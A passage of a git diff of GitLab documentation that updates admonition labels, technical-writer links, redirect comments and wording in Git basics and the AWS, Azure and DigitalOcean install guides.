+sudo gitlab-rails runner "Service.where(type: ['GithubService']).delete_all"
```
**Source Installation**
```shell
-bundle exec rails runner "Service.where(type: ['JenkinsService', 'GithubService']).delete_all" production
+bundle exec rails runner "Service.where(type: ['GithubService']).delete_all" production
```
-NOTE: **Note:**
-If you are running `GitLab =< v13.0` you need to also remove `JenkinsDeprecatedService` records.
+NOTE:
+If you are running `GitLab =< v13.0` you need to also remove `JenkinsDeprecatedService` records
+and if you are running `GitLab =< v13.6` you need to also remove `JenkinsService` records.
### Variables environment scopes
diff --git a/doc/gitlab-basics/README.md b/doc/gitlab-basics/README.md
index 3850655aaed..b933cb873c8 100644
--- a/doc/gitlab-basics/README.md
+++ b/doc/gitlab-basics/README.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
comments: false
type: index
---
@@ -46,4 +46,4 @@ These resources will help you get further acclimated to working on the command l
- [Start using Git on the command line](start-using-git.md), for some simple Git commands.
- [Command line basics](command-line-commands.md), to create and edit files using the command line.
-More Git resources are available in GitLab's [Git documentation](../topics/git/index.md).
+More Git resources are available in the GitLab [Git documentation](../topics/git/index.md).
diff --git a/doc/gitlab-basics/add-file.md b/doc/gitlab-basics/add-file.md
index 0b400d7fdb4..4afeb5ce83b 100644
--- a/doc/gitlab-basics/add-file.md
+++ b/doc/gitlab-basics/add-file.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto
---
diff --git a/doc/gitlab-basics/add-image.md b/doc/gitlab-basics/add-image.md
index 11a4a6bbd97..8eb60f03877 100644
--- a/doc/gitlab-basics/add-image.md
+++ b/doc/gitlab-basics/add-image.md
@@ -3,3 +3,6 @@ redirect_to: 'add-file.md'
---
This document was moved to [another location](add-file.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/add-merge-request.md b/doc/gitlab-basics/add-merge-request.md
index 1ee28183ac8..a04bc5704e5 100644
--- a/doc/gitlab-basics/add-merge-request.md
+++ b/doc/gitlab-basics/add-merge-request.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/merge_requests/creating_merge_requests.md'
---
This document was moved to [another location](../user/project/merge_requests/creating_merge_requests.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/basic-git-commands.md b/doc/gitlab-basics/basic-git-commands.md
index 4e0cc2de2bc..506fe89fc18 100644
--- a/doc/gitlab-basics/basic-git-commands.md
+++ b/doc/gitlab-basics/basic-git-commands.md
@@ -3,3 +3,6 @@ redirect_to: 'start-using-git.md'
---
This document was moved to [another location](start-using-git.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/command-line-commands.md b/doc/gitlab-basics/command-line-commands.md
index 1933b432138..d237fa940e3 100644
--- a/doc/gitlab-basics/command-line-commands.md
+++ b/doc/gitlab-basics/command-line-commands.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto, reference
---
@@ -59,14 +59,14 @@ nano README.md
It's easy to delete (remove) a file or directory, but be careful:
-DANGER: **Warning:**
+WARNING:
This will **permanently** delete a file.
```shell
rm NAME-OF-FILE
```
-DANGER: **Warning:**
+WARNING:
This will **permanently** delete a directory and **all** of its contents.
```shell
@@ -102,7 +102,7 @@ might be asked for an administrator password.
sudo RESTRICTED-COMMAND
```
-CAUTION: **Caution:**
+WARNING:
Be careful of the commands you run with `sudo`. Certain commands may cause
damage to your data or system.
diff --git a/doc/gitlab-basics/create-branch.md b/doc/gitlab-basics/create-branch.md
index 9e51a2749a6..c971ff7cb52 100644
--- a/doc/gitlab-basics/create-branch.md
+++ b/doc/gitlab-basics/create-branch.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto
---
diff --git a/doc/gitlab-basics/create-group.md b/doc/gitlab-basics/create-group.md
index 8c0d3561882..f683b92af89 100644
--- a/doc/gitlab-basics/create-group.md
+++ b/doc/gitlab-basics/create-group.md
@@ -3,3 +3,6 @@ redirect_to: '../user/group/index.md#create-a-new-group'
---
This document was moved to [another location](../user/group/index.md#create-a-new-group).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/create-issue.md b/doc/gitlab-basics/create-issue.md
index 5fa5f1bf2e2..39e47690264 100644
--- a/doc/gitlab-basics/create-issue.md
+++ b/doc/gitlab-basics/create-issue.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/issues/index.md#viewing-and-managing-issues'
---
This document was moved to [another location](../user/project/issues/index.md#viewing-and-managing-issues).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md
index 415edce0d7d..30f467c2b12 100644
--- a/doc/gitlab-basics/create-project.md
+++ b/doc/gitlab-basics/create-project.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto
---
@@ -23,7 +23,7 @@ To create a project in GitLab:
if enabled on your GitLab instance. Contact your GitLab administrator if this is unavailable.
- Run [CI/CD pipelines for external repositories](../ci/ci_cd_for_external_repos/index.md). **(PREMIUM)**
-NOTE: **Note:**
+NOTE:
For a list of words that can't be used as project names see
[Reserved project and group names](../user/reserved_names.md).
@@ -99,7 +99,7 @@ Available Enterprise templates include:
- HIPAA Audit Protocol template ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10)
-TIP: **Tip:**
+NOTE:
You can improve the existing built-in templates or contribute new ones in the
[`project-templates`](https://gitlab.com/gitlab-org/project-templates) and
[`pages`](https://gitlab.com/pages) groups by following [these steps](https://gitlab.com/gitlab-org/project-templates/contributing).
diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md
index 2a59f10073f..98e01df7252 100644
--- a/doc/gitlab-basics/create-your-ssh-keys.md
+++ b/doc/gitlab-basics/create-your-ssh-keys.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto
---
@@ -24,7 +24,7 @@ In order to use SSH, you need to:
To add the SSH public key to GitLab, see
[Adding an SSH key to your GitLab account](../ssh/README.md#adding-an-ssh-key-to-your-gitlab-account).
-NOTE: **Note:**
+NOTE:
Once you add a key, you can't edit it. If it did not paste properly, it
[will not work](../ssh/README.md#testing-that-everything-is-set-up-correctly), and
you need to remove the key from GitLab and try adding it again.
diff --git a/doc/gitlab-basics/feature_branch_workflow.md b/doc/gitlab-basics/feature_branch_workflow.md
index 0fe04e62f22..e02be390ab8 100644
--- a/doc/gitlab-basics/feature_branch_workflow.md
+++ b/doc/gitlab-basics/feature_branch_workflow.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/workflow.html'
---
diff --git a/doc/gitlab-basics/fork-project.md b/doc/gitlab-basics/fork-project.md
index 76685db8d7d..2f8cde2e1b7 100644
--- a/doc/gitlab-basics/fork-project.md
+++ b/doc/gitlab-basics/fork-project.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto
---
diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md
index b6192700d29..22b10c32434 100644
--- a/doc/gitlab-basics/start-using-git.md
+++ b/doc/gitlab-basics/start-using-git.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto, tutorial
description: "Introduction to using Git through the command line."
---
@@ -22,14 +22,14 @@ the command line and then push your changes to the remote server.
This guide will help you get started with Git through the command line and can be your reference
for Git commands in the future. If you're only looking for a quick reference of Git commands, you
-can download GitLab's [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf).
+can download the GitLab [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf).
> For more information about the advantages of working with Git and GitLab:
>
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video.
> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)’s development environment.
-TIP: **Tip:**
+NOTE:
To help you visualize what you're doing locally, there are
[Git GUI apps](https://git-scm.com/download/gui/) you can install.
@@ -49,7 +49,7 @@ prompt, terminal, and command line) of your preference. Here are some suggestion
- For macOS users:
- Built-in: [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type "terminal" to find it.
- - [iTerm2](https://www.iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users.
+ - [iTerm2](https://iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users.
- For Windows users:
- Built-in: **cmd**. Click the search icon on the bottom navbar on Windows and type "cmd" to find it.
- [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7): a Windows "powered up" shell, from which you can execute a greater number of commands.
@@ -104,7 +104,7 @@ If you omit `--global` or use `--local`, the configuration will be applied only
repository.
You can read more on how Git manages configurations in the
-[Git Config](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration) documentation.
+[Git configuration documentation](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration).
## Git authentication methods
@@ -127,8 +127,8 @@ to our computer:
Create one before cloning.
- If you don't have 2FA enabled, use your account's password.
-NOTE: **Note:**
-Authenticating via SSH is GitLab's recommended method. You can read more about credential storage
+NOTE:
+Authenticating via SSH is the GitLab recommended method. You can read more about credential storage
in the [Git Credentials documentation](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage).
## Git terminology
@@ -183,7 +183,7 @@ changes to GitLab. This is referred to as **pushing** to GitLab, as this is achi
[`git push`](#send-changes-to-gitlabcom).
When the remote repository changes, your local copy will be behind it. You can update it with the new
-changes in the remote repo.
+changes in the remote repository.
This is referred to as **pulling** from GitLab, as this is achieved by the command
[`git pull`](#download-the-latest-changes-in-the-project).
@@ -234,7 +234,7 @@ To clone `https://gitlab.com/gitlab-tests/sample-project/` via HTTPS:
git clone https://gitlab.com/gitlab-tests/sample-project.git
```
-TIP: **Troubleshooting:**
+NOTE:
On Windows, if you entered incorrect passwords multiple times and GitLab is responding `Access denied`,
you may have to add your namespace (user name or group name) to clone through HTTPS:
`git clone https://namespace@gitlab.com/gitlab-org/gitlab.git`.
@@ -280,7 +280,7 @@ To add a remote repository to your local copy:
1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>:
```shell
- git remote add origin <git@gitlab.com:username/projectpath.git
+ git remote add origin git@gitlab.com:username/projectpath.git
```
After you've done that, you can [stage your files](#add-and-commit-local-changes) and [upload them to GitLab](#send-changes-to-gitlabcom).
@@ -400,7 +400,7 @@ git add .
git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT"
```
-NOTE: **Note:**
+NOTE:
The `.` character means _all file changes in the current directory and all subdirectories_.
### Send changes to GitLab.com
@@ -420,7 +420,7 @@ git push origin master
On certain occasions, Git won't allow you to push to your repository, and then
you'll need to [force an update](../topics/git/git_rebase.md#force-push).
-NOTE: **Note:**
+NOTE:
To create a merge request from a fork to an upstream repository, see the
[forking workflow](../user/project/repository/forking_workflow.md).
@@ -453,7 +453,7 @@ git reset HEAD~1
This leaves the changed files and folders unstaged in your local repository.
-CAUTION: **Warning:**
+WARNING:
A Git commit should not usually be reversed, particularly if you already pushed it
to the remote repository. Although you can undo a commit, the best option is to avoid
the situation altogether by working carefully.
diff --git a/doc/img/devops-stages-13_3.png b/doc/img/devops-stages-13_3.png
deleted file mode 100644
index 609533e12e7..00000000000
--- a/doc/img/devops-stages-13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/README.md b/doc/install/README.md
index 6b08bb28bbb..f0aee9b6927 100644
--- a/doc/install/README.md
+++ b/doc/install/README.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: Read through the GitLab installation methods.
type: index
@@ -93,7 +93,7 @@ the above methods, provided the cloud provider supports it.
- [Install on AWS](aws/index.md): Install Omnibus GitLab on AWS using the community AMIs that GitLab provides.
- [Install GitLab on Google Cloud Platform](google_cloud_platform/index.md): Install Omnibus GitLab on a VM in GCP.
- [Install GitLab on Azure](azure/index.md): Install Omnibus GitLab from Azure Marketplace.
-- [Install GitLab on OpenShift](https://docs.gitlab.com/charts/installation/cloud/openshift.html): Install GitLab on OpenShift by using GitLab's Helm charts.
+- [Install GitLab on OpenShift](https://docs.gitlab.com/charts/installation/cloud/openshift.html): Install GitLab on OpenShift by using the GitLab Helm charts.
- [Install GitLab on DC/OS](https://d2iq.com/blog/gitlab-dcos): Install GitLab on Mesosphere DC/OS via the [GitLab-Mesosphere integration](https://about.gitlab.com/blog/2016/09/16/announcing-gitlab-and-mesosphere/).
- [Install GitLab on DigitalOcean](https://about.gitlab.com/blog/2016/04/27/getting-started-with-gitlab-and-digitalocean/): Install Omnibus GitLab on DigitalOcean.
- _Testing only!_ [DigitalOcean and Docker Machine](digitaloceandocker.md):
@@ -107,7 +107,7 @@ installation:
- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/):
Activate all GitLab Enterprise Edition functionality with a license.
- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab
- Runners, the agents that are responsible for all of GitLab's CI/CD features.
+ Runners, the agents that are responsible for all of the GitLab CI/CD features.
- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to
allow hosting of static sites.
- [GitLab Registry](../administration/packages/container_registry.md): With the
@@ -129,7 +129,7 @@ installation:
faster, more advanced code search across your entire GitLab instance.
- [Geo replication](../administration/geo/index.md):
Geo is the solution for widely distributed development teams.
-- [Release and maintenance policy](../policy/maintenance.md): Learn about GitLab's
+- [Release and maintenance policy](../policy/maintenance.md): Learn about GitLab
policies governing version naming, as well as release pace for major, minor, patch,
and security releases.
- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers.
diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md
index a1774ddb770..28f04c1a7a7 100644
--- a/doc/install/aws/index.md
+++ b/doc/install/aws/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -10,7 +10,7 @@ type: howto
This page offers a walkthrough of a common configuration
for GitLab on AWS. You should customize it to accommodate your needs.
-NOTE: **Note:**
+NOTE:
For organizations with 1,000 users or less, the recommended AWS installation method is to launch an EC2 single box [Omnibus Installation](https://about.gitlab.com/install/) and implement a snapshot strategy for backing up the data. See the [1,000 user reference architecture](../../administration/reference_architectures/1k_users.md) for more.
## Introduction
@@ -33,7 +33,7 @@ In addition to having a basic familiarity with [AWS](https://docs.aws.amazon.com
- A domain name for the GitLab instance
- An SSL/TLS certificate to secure your domain. If you do not already own one, you can provision a free public SSL/TLS certificate through [AWS Certificate Manager](https://aws.amazon.com/certificate-manager/)(ACM) for use with the [Elastic Load Balancer](#load-balancer) we'll create.
-NOTE: **Note:**
+NOTE:
It can take a few hours to validate a certificate provisioned through ACM. To avoid delays later, request your certificate as soon as possible.
## Architecture
@@ -63,7 +63,7 @@ Here's a list of the AWS services we will use, with links to pricing information
## Create an IAM EC2 instance role and profile
-As we'll be using [Amazon S3 object storage](#amazon-s3-object-storage), our EC2 instances need to have read, write, and list permissions for our S3 buckets. To avoid embedding AWS keys in our GitLab config, we'll make use of an [IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) to allow our GitLab instance with this access. We'll need to create an IAM policy to attach to our IAM role:
+As we'll be using [Amazon S3 object storage](#amazon-s3-object-storage), our EC2 instances need to have read, write, and list permissions for our S3 buckets. To avoid embedding AWS keys in our GitLab configuration, we'll make use of an [IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) to allow our GitLab instance with this access. We'll need to create an IAM policy to attach to our IAM role:
### Create an IAM Policy
@@ -312,7 +312,7 @@ We need a security group for our database that will allow inbound traffic from t
### Create the database
-DANGER: **Warning:**
+WARNING:
Avoid using burstable instances (t class instances) for the database as this could lead to performance issues due to CPU credits running out during sustained periods of high load.
Now, it's time to create the database:
@@ -349,7 +349,7 @@ Now that the database is created, let's move on to setting up Redis with ElastiC
ElastiCache is an in-memory hosted caching solution. Redis maintains its own
persistence and is used to store session data, temporary cache information, and background job queues for the GitLab application.
-DANGER: **Warning:**
+WARNING:
GitLab recommends you use ElastiCache Redis version 5.0.x, because version 6.x contains
a bug that [prevents Sidekiq from processing jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/281683).
@@ -399,7 +399,7 @@ a bug that [prevents Sidekiq from processing jobs](https://gitlab.com/gitlab-org
Since our GitLab instances will be in private subnets, we need a way to connect to these instances via SSH to make configuration changes, perform upgrades, etc. One way of doing this is via a [bastion host](https://en.wikipedia.org/wiki/Bastion_host), sometimes also referred to as a jump box.
-TIP: **Tip:**
+NOTE:
If you do not want to maintain bastion hosts, you can set up [AWS Systems Manager Session Manager](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html) for access to instances. This is beyond the scope of this document.
### Create Bastion Host A
@@ -470,7 +470,7 @@ Connect to your GitLab instance via **Bastion Host A** using [SSH Agent Forwardi
#### Disable Let's Encrypt
-Since we're adding our SSL certificate at the load balancer, we do not need GitLab's built-in support for Let's Encrypt. Let's Encrypt [is enabled by default](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration) when using an `https` domain in GitLab 10.7 and later, so we need to explicitly disable it:
+Since we're adding our SSL certificate at the load balancer, we do not need the GitLab built-in support for Let's Encrypt. Let's Encrypt [is enabled by default](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration) when using an `https` domain in GitLab 10.7 and later, so we need to explicitly disable it:
1. Open `/etc/gitlab/gitlab.rb` and disable it:
@@ -557,7 +557,7 @@ gitlab=# \q
#### Set up Gitaly
-CAUTION: **Caution:**
+WARNING:
In this architecture, having a single Gitaly server creates a single point of failure. Use
[Gitaly Cluster](../../administration/gitaly/praefect.md) to remove this limitation.
@@ -585,8 +585,8 @@ Let's create an EC2 instance where we'll install Gitaly:
1. Click **Review and launch** followed by **Launch** if you're happy with your settings.
1. Finally, acknowledge that you have access to the selected private key file or create a new one. Click **Launch Instances**.
-NOTE: **Note:**
-Instead of storing configuration _and_ repository data on the root volume, you can also choose to add an additional EBS volume for repository storage. Follow the same guidance as above. See the [Amazon EBS pricing](https://aws.amazon.com/ebs/pricing/). We do not recommend using EFS as it may negatively impact GitLab’s performance. You can review the [relevant documentation](../../administration/nfs.md#avoid-using-awss-elastic-file-system-efs) for more details.
+NOTE:
+Instead of storing configuration _and_ repository data on the root volume, you can also choose to add an additional EBS volume for repository storage. Follow the same guidance as above. See the [Amazon EBS pricing](https://aws.amazon.com/ebs/pricing/). We do not recommend using EFS as it may negatively impact the performance of GitLab. You can review the [relevant documentation](../../administration/nfs.md#avoid-using-awss-elastic-file-system-efs) for more details.
Now that we have our EC2 instance ready, follow the [documentation to install GitLab and set up Gitaly on its own server](../../administration/gitaly/index.md#run-gitaly-on-its-own-server). Perform the client setup steps from that document on the [GitLab instance we created](#install-gitlab) above.
@@ -639,12 +639,12 @@ HostKey /etc/ssh_static/ssh_host_ed25519_key
Since we're not using NFS for shared storage, we will use [Amazon S3](https://aws.amazon.com/s3/) buckets to store backups, artifacts, LFS objects, uploads, merge request diffs, container registry images, and more. Our documentation includes [instructions on how to configure object storage](../../administration/object_storage.md) for each of these data types, and other information about using object storage with GitLab.
-NOTE: **Note:**
+NOTE:
Since we are using the [AWS IAM profile](#create-an-iam-role) we created earlier, be sure to omit the AWS access key and secret access key/value pairs when configuring object storage. Instead, use `'use_iam_profile' => true` in your configuration as shown in the object storage documentation linked above.
Remember to run `sudo gitlab-ctl reconfigure` after saving the changes to the `gitlab.rb` file.
-NOTE: **Note:**
+NOTE:
One current feature of GitLab that still requires a shared directory (NFS) is
[GitLab Pages](../../user/project/pages/index.md).
There is [work in progress](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196)
@@ -757,7 +757,7 @@ To back up GitLab:
sudo gitlab-backup create
```
-NOTE: **Note:**
+NOTE:
For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`.
### Restoring GitLab from a backup
@@ -778,7 +778,7 @@ released, you can update your GitLab instance:
sudo gitlab-backup create
```
-NOTE: **Note:**
+NOTE:
For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`.
1. Update the repositories and install GitLab:
diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md
index 9dc30ab2476..15906bc056f 100644
--- a/doc/install/azure/index.md
+++ b/doc/install/azure/index.md
@@ -1,16 +1,16 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'Learn how to spin up a pre-configured GitLab VM on Microsoft Azure.'
type: howto
---
# Install GitLab on Microsoft Azure
-CAUTION: **Deprecated:**
-The GitLab image in the Azure Marketplace is deprecated. You can track GitLab's
-efforts to [post a new image](https://gitlab.com/gitlab-com/alliances/microsoft/gitlab-tracker/-/issues/2).
+WARNING:
+This guide is deprecated and pending an update. For the time being, use the GitLab
+[image in the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview).
Azure is Microsoft's business cloud and GitLab is a pre-configured offering on
the Azure Marketplace. Hopefully, you aren't surprised to hear that Microsoft
@@ -74,7 +74,7 @@ The first items we need to configure are the basic settings of the underlying vi
1. Enter a `User name` - e.g. `gitlab-admin`
1. Select an `Authentication type`, either **SSH public key** or **Password**:
- NOTE: **Note:**
+ NOTE:
If you're unsure which authentication type to use, select **Password**
1. If you chose **SSH public key** - enter your `SSH public key` into the field provided
@@ -86,7 +86,7 @@ The first items we need to configure are the basic settings of the underlying vi
1. Choose the appropriate `Subscription` tier for your Azure account
1. Choose an existing `Resource Group` or create a new one - e.g. **"GitLab-CE-Azure"**
- NOTE **Note:**
+ NOTE:
A "Resource group" is a way to group related resources together for easier administration.
We chose "GitLab-CE-Azure", but your resource group can have the same name as your VM.
@@ -103,7 +103,7 @@ Check the settings you have entered, and then click **"OK"** when you're ready t
Next, you need to choose the size of your VM - selecting features such as the number of CPU cores,
the amount of RAM, the size of storage (and its speed), etc.
-NOTE: **Note:**
+NOTE:
In common with other cloud vendors, Azure operates a resource/usage pricing model, i.e.
the more resources your VM consumes the more it will cost you to run, so make your selection
carefully. You'll see that Azure provides an _estimated_ monthly cost beneath each VM Size to help
@@ -115,7 +115,7 @@ ahead and select this one, but please choose the size which best meets your own
![Azure - Create Virtual Machine - Size](img/azure-create-virtual-machine-size.png)
-NOTE: **Note:**
+NOTE:
Be aware that while your VM is active (known as "allocated"), it will incur
"compute charges" which, ultimately, you will be billed for. So, even if you're using the
free trial credits, you'll likely want to learn
@@ -142,7 +142,7 @@ new VM. You'll be billed only for the VM itself (e.g. "Standard DS1 v2") because
![Azure - Create Virtual Machine - Purchase](img/azure-create-virtual-machine-purchase.png)
-NOTE: **Note:**
+NOTE:
At this stage, you can review and modify the any of the settings you have made during all
previous steps, just click on any of the four steps to re-open them.
@@ -185,7 +185,7 @@ _(the full domain name of your own VM will be different, of course)_.
Click **"Save"** for the changes to take effect.
-NOTE **Note:**
+NOTE:
If you want to use your own domain name, you will need to add a DNS `A` record at your
domain registrar which points to the public IP address of your Azure VM. If you do this, you'll need
to make sure your VM is configured to use a _static_ public IP address (i.e. not a _dynamic_ one)
@@ -202,7 +202,7 @@ Ports are opened by adding _security rules_ to the **"Network security group"**
has been assigned to. If you followed the process above, then Azure will have automatically created
an NSG named `GitLab-CE-nsg` and assigned the `GitLab-CE` VM to it.
-NOTE: **Note:**
+NOTE:
If you gave your VM a different name then the NSG automatically created by Azure will
also have a different name - the name you have your VM, with `-nsg` appended to it.
@@ -334,7 +334,7 @@ Under the **"Components"** section, we can see that our VM is currently running
GitLab. This is the version of GitLab which was contained in the Azure Marketplace
**"GitLab Community Edition"** offering we used to build the VM when we wrote this tutorial.
-NOTE **Note:**
+NOTE:
The version of GitLab in your own VM instance may well be different, but the update
process will still be the same.
diff --git a/doc/install/digitaloceandocker.md b/doc/install/digitaloceandocker.md
index deb8a8cc6ca..edd081c66c1 100644
--- a/doc/install/digitaloceandocker.md
+++ b/doc/install/digitaloceandocker.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -12,7 +12,7 @@ recommended for ease of future upgrades or keeping the data you create.
## Initial setup
-In this guide you'll configure a Digital Ocean droplet and set up Docker
+This guide configures a Digital Ocean droplet and sets up Docker
locally on either macOS or Linux.
### On macOS
@@ -31,7 +31,7 @@ locally on either macOS or Linux.
- <https://docs.docker.com/machine/install-machine/>
-NOTE: **Note:**
+NOTE:
The rest of the steps are identical for macOS and Linux.
## Create new Docker host
@@ -39,10 +39,10 @@ The rest of the steps are identical for macOS and Linux.
1. Login to Digital Ocean.
1. Generate a new API token at <https://cloud.digitalocean.com/settings/api/tokens>.
- This command will create a new DO droplet called `gitlab-test-env-do` that will act as a Docker host.
+ This command creates a new Digital Ocean droplet called `gitlab-test-env-do` that acts as a Docker host.
- NOTE: **Note:**
- 4GB is the minimum requirement for a Docker host that will run more than one GitLab instance.
+ NOTE:
+ 4GB is the minimum requirement for a Docker host that runs more than one GitLab instance.
- RAM: 4GB
- Name: `gitlab-test-env-do`
@@ -70,7 +70,7 @@ Resource: <https://docs.docker.com/machine/drivers/digital-ocean/>.
### Connect your shell to the new machine
-In this example we'll create a GitLab EE 8.10.8 instance.
+This example creates a GitLab EE 8.10.8 instance.
First connect the Docker client to the Docker host you created previously.
